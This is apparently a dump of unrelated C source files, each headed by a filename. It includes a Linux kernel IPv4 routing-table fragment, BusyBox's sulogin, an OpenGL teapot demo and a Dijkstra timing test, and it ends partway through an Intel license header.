* ip_dev_find(struct net *net, __be32 addr) { struct flowi fl = { .nl_u = { .ip4_u = { .daddr = addr } } }; struct fib_result res; struct net_device *dev = NULL; struct fib_table *local_table; #ifdef CONFIG_IP_MULTIPLE_TABLES res.r = NULL; #endif local_table = fib_get_table(net, RT_TABLE_LOCAL); if (!local_table || fib_table_lookup(local_table, &fl, &res)) return NULL; if (res.type != RTN_LOCAL) goto out; dev = FIB_RES_DEV(res); if (dev) dev_hold(dev); out: fib_res_put(&res); return dev; } /* * Find address type as if only "dev" was present in the system. If * on_dev is NULL then all interfaces are taken into consideration. */ static inline unsigned __inet_dev_addr_type(struct net *net, const struct net_device *dev, __be32 addr) { struct flowi fl = { .nl_u = { .ip4_u = { .daddr = addr } } }; struct fib_result res; unsigned ret = RTN_BROADCAST; struct fib_table *local_table; if (ipv4_is_zeronet(addr) || ipv4_is_lbcast(addr)) return RTN_BROADCAST; if (ipv4_is_multicast(addr)) return RTN_MULTICAST; #ifdef CONFIG_IP_MULTIPLE_TABLES res.r = NULL; #endif local_table = fib_get_table(net, RT_TABLE_LOCAL); if (local_table) { ret = RTN_UNICAST; if (!fib_table_lookup(local_table, &fl, &res)) { if (!dev || dev == res.fi->fib_dev) ret = res.type; fib_res_put(&res); } } return ret; } unsigned int inet_addr_type(struct net *net, __be32 addr) { return __inet_dev_addr_type(net, NULL, addr); } unsigned int inet_dev_addr_type(struct net *net, const struct net_device *dev, __be32 addr) { return __inet_dev_addr_type(net, dev, addr); } /* Given (packet source, input interface) and optional (dst, oif, tos): - (main) check, that source is valid i.e. not broadcast or our local address. - figure out what "logical" interface this packet arrived and calculate "specific destination" address. - check, that packet arrived from expected physical interface. */ int fib_validate_source(__be32 src, __be32 dst, u8 tos, int oif, struct net_device *dev, __be32 *spec_dst, u32 *itag, u32 mark) { struct in_device *in_dev; struct flowi fl = { .nl_u = { .ip4_u = { .daddr = src, .saddr = dst, .tos = tos } }, .mark = mark, .iif = oif }; struct fib_result res; int no_addr, rpf, accept_local; int ret; struct net *net; no_addr = rpf = accept_local = 0; rcu_read_lock(); in_dev = __in_dev_get_rcu(dev); if (in_dev) { no_addr = in_dev->ifa_list == NULL; rpf = IN_DEV_RPFILTER(in_dev); accept_local = IN_DEV_ACCEPT_LOCAL(in_dev); if (mark && !IN_DEV_SRC_VMARK(in_dev)) fl.mark = 0; } rcu_read_unlock(); if (in_dev == NULL) goto e_inval; net = dev_net(dev); if (fib_lookup(net, &fl, &res)) goto last_resort; if (res.type != RTN_UNICAST) { if (res.type != RTN_LOCAL || !accept_local) goto e_inval_res; } *spec_dst = FIB_RES_PREFSRC(res); fib_combine_itag(itag, &res); #ifdef CONFIG_IP_ROUTE_MULTIPATH if (FIB_RES_DEV(res) == dev || res.fi->fib_nhs > 1) #else if (FIB_RES_DEV(res) == dev) #endif { ret = FIB_RES_NH(res).nh_scope >= RT_SCOPE_HOST; fib_res_put(&res); return ret; } fib_res_put(&res); if (no_addr) goto last_resort; if (rpf == 1) goto e_inval; fl.oif = dev->ifindex; ret = 0; if (fib_lookup(net, &fl, &res) == 0) { if (res.type == RTN_UNICAST) { *spec_dst = FIB_RES_PREFSRC(res); ret = FIB_RES_NH(res).nh_scope >= RT_SCOPE_HOST; } fib_res_put(&res); } return ret; last_resort: if (rpf) goto e_inval; *spec_dst = inet_select_addr(dev, 0, RT_SCOPE_UNIVERSE); *itag = 0; return 0; e_inval_res: fib_res_put(&res); e_inval: return -EINVAL; } static inline __be32 sk_extract_addr(struct sockaddr *addr) { return ((struct sockaddr_in *) addr)->sin_addr.s_addr; } static int put_rtax(struct nlattr *mx, int len, int type, u32 value) { struct nlattr *nla; nla = (struct nlattr *) ((char *) mx + len); nla->nla_type = type; nla->nla_len = nla_attr_size(4); *(u32 *) nla_data(nla) = value; return len + nla_total_size(4); } static int rtentry_to_fib_config(struct net *net, int cmd, struct rtentry *rt, struct fib_config *cfg) { __be32 addr; int plen; memset(cfg, 0, sizeof(*cfg)); cfg->fc_nlinfo.nl_net = net; if (rt->rt_dst.sa_family != AF_INET) return -EAFNOSUPPORT; /* * Check mask for validity: * a) it must be contiguous. * b) destination must have all host bits clear. * c) if application forgot to set correct family (AF_INET), * reject request unless it is absolutely clear i.e. * both family and mask are zero. */ plen = 32; addr = sk_extract_addr(&rt->rt_dst); if (!(rt->rt_flags & RTF_HOST)) { __be32 mask = sk_extract_addr(&rt->rt_genmask); if (rt->rt_genmask.sa_family != AF_INET) { if (mask || rt->rt_genmask.sa_family) return -EAFNOSUPPORT; } if (bad_mask(mask, addr)) return -EINVAL; plen = inet_mask_len(mask); } cfg->fc_dst_len = plen; cfg->fc_dst = addr; if (cmd != SIOCDELRT) { cfg->fc_nlflags = NLM_F_CREATE; cfg->fc_protocol = RTPROT_BOOT; } if (rt->rt_metric) cfg->fc_priority = rt->rt_metric - 1; if (rt->rt_flags & RTF_REJECT) { cfg->fc_scope = RT_SCOPE_HOST; cfg->fc_type = RTN_UNREACHABLE; return 0; } cfg->fc_scope = RT_SCOPE_NOWHERE; cfg->fc_type = RTN_UNICAST; if (rt->rt_dev) { char *colon; struct net_device *dev; char devname[IFNAMSIZ]; if (copy_from_user(devname, rt->rt_dev, IFNAMSIZ-1)) return -EFAULT; devname[IFNAMSIZ-1] = 0; colon = strchr(devname, ':'); if (colon) *colon = 0; dev = __dev_get_by_name(net, devname); if (!dev) return -ENODEV; cfg->fc_oif = dev->ifindex; if (colon) { struct in_ifaddr *ifa; struct in_device *in_dev = __in_dev_get_rtnl(dev); if (!in_dev) return -ENODEV; *colon = ':'; for (ifa = in_dev->ifa_list; ifa; ifa = ifa->ifa_next) if (strcmp(ifa->ifa_label, devname) == 0) break; if (ifa == NULL) return -ENODEV; cfg->fc_prefsrc = ifa->ifa_local; } } addr = sk_extract_addr(&rt->rt_gateway); if (rt->rt_gateway.sa_family == AF_INET && addr) { cfg->fc_gw = addr; if (rt->rt_flags & RTF_GATEWAY && inet_addr_type(net, addr) == RTN_UNICAST) cfg->fc_scope = RT_SCOPE_UNIVERSE; } if (cmd == SIOCDELRT) return 0; if (rt->rt_flags & RTF_GATEWAY && !cfg->fc_gw) return -EINVAL; if (cfg->fc_scope == RT_SCOPE_NOWHERE) cfg->fc_scope = RT_SCOPE_LINK; if (rt->rt_flags & (RTF_MTU | RTF_WINDOW | RTF_IRTT)) { struct nlattr *mx; int len = 0; mx = kzalloc(3 * nla_total_size(4), GFP_KERNEL); if (mx == NULL) return -ENOMEM; if (rt->rt_flags & RTF_MTU) len = put_rtax(mx, len, RTAX_ADVMSS, rt->rt_mtu - 40); if (rt->rt_flags & RTF_WINDOW) len = put_rtax(mx, len, RTAX_WINDOW, rt->rt_window); if (rt->rt_flags & RTF_IRTT) len = put_rtax(mx, len, RTAX_RTT, rt->rt_irtt << 3); cfg->fc_mx = mx; cfg->fc_mx_len = len; } return 0; } /* * Handle IP routing ioctl calls. These are used to manipulate the routing tables */ int ip_rt_ioctl(struct net *net, unsigned int cmd, void __user *arg) { struct fib_config cfg; struct rtentry rt; int err; switch (cmd) { case SIOCADDRT: /* Add a route */ case SIOCDELRT: /* Delete a route */ if (!capable(CAP_NET_ADMIN)) return -EPERM; if (copy_from_user(&rt, arg, sizeof(rt))) return -EFAULT; rtnl_lock(); err = rtentry_to_fib_config(net, cmd, &rt, &cfg); if (err == 0) { struct fib_table *tb; if (cmd == SIOCDELRT) { tb = fib_get_table(net, cfg.fc_table); if (tb) err = fib_table_delete(tb, &cfg); else err = -ESRCH; } else { tb = fib_new_table(net, cfg.fc_table); if (tb) err = fib_table_insert(tb, &cfg); else err = -ENOBUFS; } /* allocated by rtentry_to_fib_config() */ kfree(cfg.fc_mx); } rtnl_unlock(); return err; } return -EINVAL; } const struct nla_policy rtm_ipv4_policy[RTA_MAX+1] = { [RTA_DST] = { .type = NLA_U32 }, [RTA_SRC] = { .type = NLA_U32 }, [RTA_IIF] = { .type = NLA_U32 }, [RTA_OIF] = { .type = NLA_U32 }, [RTA_GATEWAY] = { .type = NLA_U32 }, [RTA_PRIORITY] = { .type = NLA_U32 }, [RTA_PREFSRC] = { .type = NLA_U32 }, [RTA_METRICS] = { .type = NLA_NESTED }, [RTA_MULTIPATH] = { .len = sizeof(struct rtnexthop) }, [RTA_FLOW] = { .type = NLA_U32 }, }; static int rtm_to_fib_config(struct net *net, struct sk_buff *skb, struct nlmsghdr *nlh, struct fib_config *cfg) { struct nlattr *attr; int err, remaining; struct rtmsg *rtm; err = nlmsg_validate(nlh, sizeof(*rtm), RTA_MAX, rtm_ipv4_policy); if (err < 0) goto errout; memset(cfg, 0, sizeof(*cfg)); rtm = nlmsg_data(nlh); cfg->fc_dst_len = rtm->rtm_dst_len; cfg->fc_tos = rtm->rtm_tos; cfg->fc_table = rtm->rtm_table; cfg->fc_protocol = rtm->rtm_protocol; cfg->fc_scope = rtm->rtm_scope; cfg->fc_type = rtm->rtm_type; cfg->fc_flags = rtm->rtm_flags; cfg->fc_nlflags = nlh->nlmsg_flags; cfg->fc_nlinfo.pid = NETLINK_CB(skb).pid; cfg->fc_nlinfo.nlh = nlh; cfg->fc_nlinfo.nl_net = net; if (cfg->fc_type > RTN_MAX) { err = -EINVAL; goto errout; } nlmsg_for_each_attr(attr, nlh, sizeof(struct rtmsg), remaining) { switch (nla_type(attr)) { case RTA_DST: cfg->fc_dst = nla_get_be32(attr); break; case RTA_OIF: cfg->fc_oif = nla_get_u32(attr); break; case RTA_GATEWAY: cfg->fc_gw = nla_get_be32(attr); break; case RTA_PRIORITY: cfg->fc_priority = nla_get_u32(attr); break; case RTA_PREFSRC: cfg->fc_prefsrc = nla_get_be32(attr); break; case RTA_METRICS: cfg->fc_mx = nla_data(attr); cfg->fc_mx_len = nla_len(attr); break; case RTA_MULTIPATH: cfg->fc_mp = nla_data(attr); cfg->fc_mp_len = nla_len(attr); break; case RTA_FLOW: cfg->fc_flow = nla_get_u32(attr); break; case RTA_TABLE: cfg->fc_table = nla_get_u32(attr); break; } } return 0; errout: return err; } static int inet_rtm_delroute(struct sk_buff *skb, struct nlmsghdr *nlh, void *arg) { struct net *net = sock_net(skb->sk); struct fib_config cfg; struct fib_table *tb; int err; err = rtm_to_fib_config(net, skb, nlh, &cfg); if (err < 0) goto errout; tb = fib_get_table(net, cfg.fc_table); if (tb == NULL) { err = -ESRCH; goto errout; } err = fib_table_delete(tb, &cfg); errout: return err; } static int inet_rtm_newroute(struct sk_buff *skb, struct nlmsghdr *nlh, void *arg) { struct net *net = sock_net(skb->sk); struct fib_config cfg; struct fib_table *tb; int err; err = rtm_to_fib_config(net, skb, nlh, &cfg); if (err < 0) goto errout; tb = fib_new_table(net, cfg.fc_table); if (tb == NULL) { err = -ENOBUFS; goto errout; } err = fib_table_insert(tb, &cfg); errout: return err; } static int inet_dump_fib(struct sk_buff *skb, struct netlink_callback *cb) { struct net *net = sock_net(skb->sk); unsigned int h, s_h; unsigned int e = 0, s_e; struct fib_table *tb; struct hlist_node *node; struct hlist_head *head; int dumped = 0; if (nlmsg_len(cb->nlh) >= sizeof(struct rtmsg) && ((struct rtmsg *) nlmsg_data(cb->nlh))->rtm_flags & RTM_F_CLONED) return ip_rt_dump(skb, cb); s_h = cb->args[0]; s_e = cb->args[1]; for (h = s_h; h < FIB_TABLE_HASHSZ; h++, s_e = 0) { e = 0; head = &net->ipv4.fib_table_hash[h]; hlist_for_each_entry(tb, node, head, tb_hlist) { if (e < s_e) goto next; if (dumped) memset(&cb->args[2], 0, sizeof(cb->args) - 2 * sizeof(cb->args[0])); if (fib_table_dump(tb, skb, cb) < 0) goto out; dumped = 1; next: e++; } } out: cb->args[1] = e; cb->args[0] = h; return skb->len; } /* Prepare and feed intra-kernel routing request. Really, it should be netlink message, but :-( netlink can be not configured, so that we feed it directly to fib engine. It is legal, because all events occur only when netlink is already locked. */ static void fib_magic(int cmd, int type, __be32 dst, int dst_len, struct in_ifaddr *ifa) { struct net *net = dev_net(ifa->ifa_dev->dev); struct fib_table *tb; struct fib_config cfg = { .fc_protocol = RTPROT_KERNEL, .fc_type = type, .fc_dst = dst, .fc_dst_len = dst_len, .fc_prefsrc = ifa->ifa_local, .fc_oif = ifa->ifa_dev->dev->ifindex, .fc_nlflags = NLM_F_CREATE | NLM_F_APPEND, .fc_nlinfo = { .nl_net = net, }, }; if (type == RTN_UNICAST) tb = fib_new_table(net, RT_TABLE_MAIN); else tb = fib_new_table(net, RT_TABLE_LOCAL); if (tb == NULL) return; cfg.fc_table = tb->tb_id; if (type != RTN_LOCAL) cfg.fc_scope = RT_SCOPE_LINK; else cfg.fc_scope = RT_SCOPE_HOST; if (cmd == RTM_NEWROUTE) fib_table_insert(tb, &cfg); else fib_table_delete(tb, &cfg); } void fib_add_ifaddr(struct in_ifaddr *ifa) { struct in_device *in_dev = ifa->ifa_dev; struct net_device *dev = in_dev->dev; struct in_ifaddr *prim = ifa; __be32 mask = ifa->ifa_mask; __be32 addr = ifa->ifa_local; __be32 prefix = ifa->ifa_address&mask; if (ifa->ifa_flags&IFA_F_SECONDARY) { prim = inet_ifa_byprefix(in_dev, prefix, mask); if (prim == NULL) { printk(KERN_WARNING "fib_add_ifaddr: bug: prim == NULL\n"); return; } } fib_magic(RTM_NEWROUTE, RTN_LOCAL, addr, 32, prim); if (!(dev->flags&IFF_UP)) return; /* Add broadcast address, if it is explicitly assigned. */ if (ifa->ifa_broadcast && ifa->ifa_broadcast != htonl(0xFFFFFFFF)) fib_magic(RTM_NEWROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim); if (!ipv4_is_zeronet(prefix) && !(ifa->ifa_flags&IFA_F_SECONDARY) && (prefix != addr || ifa->ifa_prefixlen < 32)) { fib_magic(RTM_NEWROUTE, dev->flags&IFF_LOOPBACK ? RTN_LOCAL : RTN_UNICAST, prefix, ifa->ifa_prefixlen, prim); /* Add network specific broadcasts, when it takes a sense */ if (ifa->ifa_prefixlen < 31) { fib_magic(RTM_NEWROUTE, RTN_BROADCAST, prefix, 32, prim); fib_magic(RTM_NEWROUTE, RTN_BROADCAST, prefix|~mask, 32, prim); } } } static void fib_del_ifaddr(struct in_ifaddr *ifa) { struct in_device *in_dev = ifa->ifa_dev; struct net_device *dev = in_dev->dev; struct in_ifaddr *ifa1; struct in_ifaddr *prim = ifa; __be32 brd = ifa->ifa_address|~ifa->ifa_mask; __be32 any = ifa->ifa_address&ifa->ifa_mask; #define LOCAL_OK 1 #define BRD_OK 2 #define BRD0_OK 4 #define BRD1_OK 8 unsigned ok = 0; if (!(ifa->ifa_flags&IFA_F_SECONDARY)) fib_magic(RTM_DELROUTE, dev->flags&IFF_LOOPBACK ? RTN_LOCAL : RTN_UNICAST, any, ifa->ifa_prefixlen, prim); else { prim = inet_ifa_byprefix(in_dev, any, ifa->ifa_mask); if (prim == NULL) { printk(KERN_WARNING "fib_del_ifaddr: bug: prim == NULL\n"); return; } } /* Deletion is more complicated than add. We should take care of not to delete too much :-) Scan address list to be sure that addresses are really gone. */ for (ifa1 = in_dev->ifa_list; ifa1; ifa1 = ifa1->ifa_next) { if (ifa->ifa_local == ifa1->ifa_local) ok |= LOCAL_OK; if (ifa->ifa_broadcast == ifa1->ifa_broadcast) ok |= BRD_OK; if (brd == ifa1->ifa_broadcast) ok |= BRD1_OK; if (any == ifa1->ifa_broadcast) ok |= BRD0_OK; } if (!(ok&BRD_OK)) fib_magic(RTM_DELROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim); if (!(ok&BRD1_OK)) fib_magic(RTM_DELROUTE, RTN_BROADCAST, brd, 32, prim); if (!(ok&BRD0_OK)) fib_magic(RTM_DELROUTE, RTN_BROADCAST, any, 32, prim); if (!(ok&LOCAL_OK)) { fib_magic(RTM_DELROUTE, RTN_LOCAL, ifa->ifa_local, 32, prim); /* Check, that this local address finally disappeared. */ if (inet_addr_type(dev_net(dev), ifa->ifa_local) != RTN_LOCAL) { /* And the last, but not the least thing. We must flush stray FIB entries. First of all, we scan fib_info list searching for stray nexthop entries, then ignite fib_flush. */ if (fib_sync_down_addr(dev_net(dev), ifa->ifa_local)) fib_flush(dev_net(dev)); } } #undef LOCAL_OK #undef BRD_OK #undef BRD0_OK #undef BRD1_OK } static void nl_fib_lookup(struct fib_result_nl *frn, struct fib_table *tb ) { struct fib_result res; struct flowi fl = { .mark = frn->fl_mark, .nl_u = { .ip4_u = { .daddr = frn->fl_addr, .tos = frn->fl_tos, .scope = frn->fl_scope } } }; #ifdef CONFIG_IP_MULTIPLE_TABLES res.r = NULL; #endif frn->err = -ENOENT; if (tb) { local_bh_disable(); frn->tb_id = tb->tb_id; frn->err = fib_table_lookup(tb, &fl, &res); if (!frn->err) { frn->prefixlen = res.prefixlen; frn->nh_sel = res.nh_sel; frn->type = res.type; frn->scope = res.scope; fib_res_put(&res); } local_bh_enable(); } } static void nl_fib_input(struct sk_buff *skb) { struct net *net; struct fib_result_nl *frn; struct nlmsghdr *nlh; struct fib_table *tb; u32 pid; net = sock_net(skb->sk); nlh = nlmsg_hdr(skb); if (skb->len < NLMSG_SPACE(0) || skb->len < nlh->nlmsg_len || nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*frn))) return; skb = skb_clone(skb, GFP_KERNEL); if (skb == NULL) return; nlh = nlmsg_hdr(skb); frn = (struct fib_result_nl *) NLMSG_DATA(nlh); tb = fib_get_table(net, frn->tb_id_in); nl_fib_lookup(frn, tb); pid = NETLINK_CB(skb).pid; /* pid of sending process */ NETLINK_CB(skb).pid = 0; /* from kernel */ NETLINK_CB(skb).dst_group = 0; /* unicast */ netlink_unicast(net->ipv4.fibnl, skb, pid, MSG_DONTWAIT); } static int __net_init nl_fib_lookup_init(struct net *net) { struct sock *sk; sk = netlink_kernel_create(net, NETLINK_FIB_LOOKUP, 0, nl_fib_input, NULL, THIS_MODULE); if (sk == NULL) return -EAFNOSUPPORT; net->ipv4.fibnl = sk; return 0; } static void nl_fib_lookup_exit(struct net *net) { netlink_kernel_release(net->ipv4.fibnl); net->ipv4.fibnl = NULL; } static void fib_disable_ip(struct net_device *dev, int force, int delay) { if (fib_sync_down_dev(dev, force)) fib_flush(dev_net(dev)); rt_cache_flush(dev_net(dev), delay); arp_ifdown(dev); } static int fib_inetaddr_event(struct notifier_block *this, unsigned long event, void *ptr) { struct in_ifaddr *ifa = (struct in_ifaddr *)ptr; struct net_device *dev = ifa->ifa_dev->dev; switch (event) { case NETDEV_UP: fib_add_ifaddr(ifa); #ifdef CONFIG_IP_ROUTE_MULTIPATH fib_sync_up(dev); #endif rt_cache_flush(dev_net(dev), -1); break; case NETDEV_DOWN: fib_del_ifaddr(ifa); if (ifa->ifa_dev->ifa_list == NULL) { /* Last address was deleted from this interface. Disable IP. */ fib_disable_ip(dev, 1, 0); } else { rt_cache_flush(dev_net(dev), -1); } break; } return NOTIFY_DONE; } static int fib_netdev_event(struct notifier_block *this, unsigned long event, void *ptr) { struct net_device *dev = ptr; struct in_device *in_dev = __in_dev_get_rtnl(dev); if (event == NETDEV_UNREGISTER) { fib_disable_ip(dev, 2, -1); return NOTIFY_DONE; } if (!in_dev) return NOTIFY_DONE; switch (event) { case NETDEV_UP: for_ifa(in_dev) { fib_add_ifaddr(ifa); } endfor_ifa(in_dev); #ifdef CONFIG_IP_ROUTE_MULTIPATH fib_sync_up(dev); #endif rt_cache_flush(dev_net(dev), -1); break; case NETDEV_DOWN: fib_disable_ip(dev, 0, 0); break; case NETDEV_CHANGEMTU: case NETDEV_CHANGE: rt_cache_flush(dev_net(dev), 0); break; case NETDEV_UNREGISTER_BATCH: rt_cache_flush_batch(); break; } return NOTIFY_DONE; } static struct notifier_block fib_inetaddr_notifier = { .notifier_call = fib_inetaddr_event, }; static struct notifier_block fib_netdev_notifier = { .notifier_call = fib_netdev_event, }; static int __net_init ip_fib_net_init(struct net *net) { int err; unsigned int i; net->ipv4.fib_table_hash = kzalloc( sizeof(struct hlist_head)*FIB_TABLE_HASHSZ, GFP_KERNEL); if (net->ipv4.fib_table_hash == NULL) return -ENOMEM; for (i = 0; i < FIB_TABLE_HASHSZ; i++) INIT_HLIST_HEAD(&net->ipv4.fib_table_hash[i]); err = fib4_rules_init(net); if (err < 0) goto fail; return 0; fail: kfree(net->ipv4.fib_table_hash); return err; } static void ip_fib_net_exit(struct net *net) { unsigned int i; #ifdef CONFIG_IP_MULTIPLE_TABLES fib4_rules_exit(net); #endif for (i = 0; i < FIB_TABLE_HASHSZ; i++) { struct fib_table *tb; struct hlist_head *head; struct hlist_node *node, *tmp; head = &net->ipv4.fib_table_hash[i]; hlist_for_each_entry_safe(tb, node, tmp, head, tb_hlist) { hlist_del(node); fib_table_flush(tb); kfree(tb); } } kfree(net->ipv4.fib_table_hash); } static int __net_init fib_net_init(struct net *net) { int error; error = ip_fib_net_init(net); if (error < 0) goto out; error = nl_fib_lookup_init(net); if (error < 0) goto out_nlfl; error = fib_proc_init(net); if (error < 0) goto out_proc; out: return error; out_proc: nl_fib_lookup_exit(net); out_nlfl: ip_fib_net_exit(net); goto out; } static void __net_exit fib_net_exit(struct net *net) { fib_proc_exit(net); nl_fib_lookup_exit(net); ip_fib_net_exit(net); } static struct pernet_operations fib_net_ops = { .init = fib_net_init, .exit = fib_net_exit, }; void __init ip_fib_init(void) { rtnl_register(PF_INET, RTM_NEWROUTE, inet_rtm_newroute, NULL); rtnl_register(PF_INET, RTM_DELROUTE, inet_rtm_delroute, NULL); rtnl_register(PF_INET, RTM_GETROUTE, NULL, inet_dump_fib); register_pernet_subsys(&fib_net_ops); register_netdevice_notifier(&fib_netdev_notifier); register_inetaddr_notifier(&fib_inetaddr_notifier); fib_hash_init(); } EXPORT_SYMBOL(inet_addr_type); EXPORT_SYMBOL(inet_dev_addr_type); EXPORT_SYMBOL(ip_dev_find);
925614.c
#define STB_RECT_PACK_IMPLEMENTATION #include "../vendor/stb/stb_rect_pack.h"
398221.c
/* vi: set sw=4 ts=4: */ #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <syslog.h> #include <unistd.h> #include <utmp.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <ctype.h> #include <time.h> #include "busybox.h" // sulogin defines #define SULOGIN_PROMPT "\nGive root password for system maintenance\n" \ "(or type Control-D for normal startup):" static const char *forbid[] = { "ENV", "BASH_ENV", "HOME", "IFS", "PATH", "SHELL", "LD_LIBRARY_PATH", "LD_PRELOAD", "LD_TRACE_LOADED_OBJECTS", "LD_BIND_NOW", "LD_AOUT_LIBRARY_PATH", "LD_AOUT_PRELOAD", "LD_NOWARN", "LD_KEEPDIR", (char *) 0 }; static void catchalarm(int junk) { exit(EXIT_FAILURE); } extern int sulogin_main(int argc, char **argv) { char *cp; char *device = (char *) 0; const char *name = "root"; int timeout = 0; static char pass[BUFSIZ]; struct passwd pwent; struct passwd *pwd; time_t start, now; const char **p; #ifdef CONFIG_FEATURE_SHADOWPASSWDS struct spwd *spwd = NULL; #endif /* CONFIG_FEATURE_SHADOWPASSWDS */ openlog("sulogin", LOG_PID | LOG_CONS | LOG_NOWAIT, LOG_AUTH); if (argc > 1) { if (strncmp(argv[1], "-t", 2) == 0) { if (strcmp(argv[1], "-t") == 0) { if (argc > 2) { timeout = atoi(argv[2]); if (argc > 3) { device = argv[3]; } } } else { if (argc > 2) { device = argv[2]; } } } else { device = argv[1]; } if (device) { close(0); close(1); close(2); if (open(device, O_RDWR) >= 0) { dup(0); dup(0); } else { syslog(LOG_WARNING, "cannot open %s\n", device); exit(EXIT_FAILURE); } } } if (access(bb_path_passwd_file, 0) == -1) { syslog(LOG_WARNING, "No password file\n"); bb_error_msg_and_die("No password file\n"); } if (!isatty(0) || !isatty(1) || !isatty(2)) { exit(EXIT_FAILURE); } /* Clear out anything dangerous from the environment */ for (p = forbid; *p; p++) unsetenv(*p); signal(SIGALRM, catchalarm); if (!(pwd = getpwnam(name))) { syslog(LOG_WARNING, "No password entry for `root'\n"); bb_error_msg_and_die("No password entry for `root'\n"); } pwent = *pwd; #ifdef CONFIG_FEATURE_SHADOWPASSWDS spwd = NULL; if (pwd && ((strcmp(pwd->pw_passwd, "x") == 0) || (strcmp(pwd->pw_passwd, "*") == 0))) { endspent(); spwd = getspnam(name); if (spwd) { pwent.pw_passwd = spwd->sp_pwdp; } } #endif /* CONFIG_FEATURE_SHADOWPASSWDS */ while (1) { cp = bb_askpass(timeout, SULOGIN_PROMPT); if (!cp || !*cp) { puts("\n"); fflush(stdout); syslog(LOG_INFO, "Normal startup\n"); exit(EXIT_SUCCESS); } else { safe_strncpy(pass, cp, sizeof(pass)); bzero(cp, strlen(cp)); } if (strcmp(pw_encrypt(pass, pwent.pw_passwd), pwent.pw_passwd) == 0) { break; } time(&start); now = start; while (difftime(now, start) < FAIL_DELAY) { sleep(FAIL_DELAY); time(&now); } puts("Login incorrect"); fflush(stdout); syslog(LOG_WARNING, "Incorrect root password\n"); } bzero(pass, strlen(pass)); signal(SIGALRM, SIG_DFL); puts("Entering System Maintenance Mode\n"); fflush(stdout); syslog(LOG_INFO, "System Maintenance Mode\n"); run_shell(pwent.pw_shell, 1, 0, 0); return (0); }
902152.c
#include <stdio.h> #include <stdlib.h> #include <GL/glut.h> float w, h, tip = 0, turn = 0; float ORG[3] = {0,0,0}; float XP[3] = {1,0,0}, XN[3] = {-1,0,0}, YP[3] = {0,1,0}, YN[3] = {0,-1,0}, ZP[3] = {0,0,1}, ZN[3] = {0,0,-1}; void reshape (int nw, int nh) { w = nw; h = nh; } void Turn (int key, int x, int y) { switch (key) { case GLUT_KEY_RIGHT: turn += 5; break; case GLUT_KEY_LEFT : turn -= 5; break; case GLUT_KEY_UP : tip -= 5; break; case GLUT_KEY_DOWN : tip += 5; break; } } void Draw_Axes (void) { glPushMatrix (); glTranslatef (-2.4, -1.5, -5); glRotatef (tip , 1,0,0); glRotatef (turn, 0,1,0); glScalef (0.25, 0.25, 0.25); glLineWidth (2.0); glBegin (GL_LINES); glColor3f (1,0,0); // X axis is red. glVertex3fv (ORG); glVertex3fv (XP ); glColor3f (0,1,0); // Y axis is green. glVertex3fv (ORG); glVertex3fv (YP ); glColor3f (0,0,1); // z axis is blue. glVertex3fv (ORG); glVertex3fv (ZP ); glEnd(); glPopMatrix (); } void Draw_Teapot (void) { glPushMatrix (); glTranslatef (0, 0, -5); glRotatef (tip , 1,0,0); glRotatef (turn, 0,1,0); glColor3f (1.0, 0.5, 0.1); glutSolidTeapot (1.0); glLineWidth (2.0); glColor3f (0.0, 0.2, 0.9); glutWireTeapot (1.01); glPopMatrix (); } void display (void) { glViewport (0, 0, w, h); glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); Draw_Teapot (); Draw_Axes (); glutSwapBuffers (); } void main(int argc, char *argv[]) { glutInit(&argc,argv); glutInitWindowSize (600, 400); glutInitWindowPosition (400, 300); glutInitDisplayMode (GLUT_DEPTH | GLUT_DOUBLE | GLUT_RGB); glutCreateWindow ("Corner Axes"); glutDisplayFunc (display); glutIdleFunc (display); glutReshapeFunc (reshape); glutSpecialFunc (Turn); glClearColor (0.1, 0.2, 0.1, 1.0); glEnable (GL_DEPTH_TEST); glMatrixMode (GL_PROJECTION); gluPerspective (40.0, 1.5, 1.0, 10.0); glMatrixMode (GL_MODELVIEW); glutMainLoop (); }
718685.c
#include<graph.h> #include<utilities.h> #include<stdio.h> #include<total_orders.h> int main(){ int n = 10; node* A = (node*)malloc(sizeof(node)*n); int** E = get_random_int_matrix(n, 9999); graph* g_queue = build_graph(A, E, n); graph* g_heap = build_graph(A, E, n); dijkstra_queue(g_queue,&g_queue->V[0]); dijkstra_heap(g_heap, &g_heap->V[0]); // Test if they work //print_matrix(E, n); //print_nodes(g_queue, n); //printf("Now Heaps\n"); //print_nodes(g_heap, n); //Execution time test FILE* f = fopen("Results", "w"); fprintf(f, "Size \t Queue \t\t Heap\n"); struct timespec start_q, start_h, end_q, end_h; for(size_t i = 2; i < 17; i++){ n = (1<<i); printf("Starting Dijkstra with size: %d\n", n); A = (node*)malloc(sizeof(node)*n); E = get_random_int_matrix(n, 9999); g_queue = build_graph(A, E, n); g_heap = build_graph(A, E, n); clock_gettime(CLOCK_REALTIME, &start_q); dijkstra_queue(g_queue,&g_queue->V[0]); clock_gettime(CLOCK_REALTIME, &end_q); clock_gettime(CLOCK_REALTIME, &start_h); dijkstra_heap(g_heap, &g_heap->V[0]); clock_gettime(CLOCK_REALTIME, &end_h); fprintf(f, "%d \t %lf \t %lf\n", n, measure_time(end_q, start_q), measure_time(end_h, start_h)); } fclose(f); free(A); free(E); free(g_queue); free(g_heap); }
291254.c
/* * Copyright (c) 2016, Intel Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Intel Corporation nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 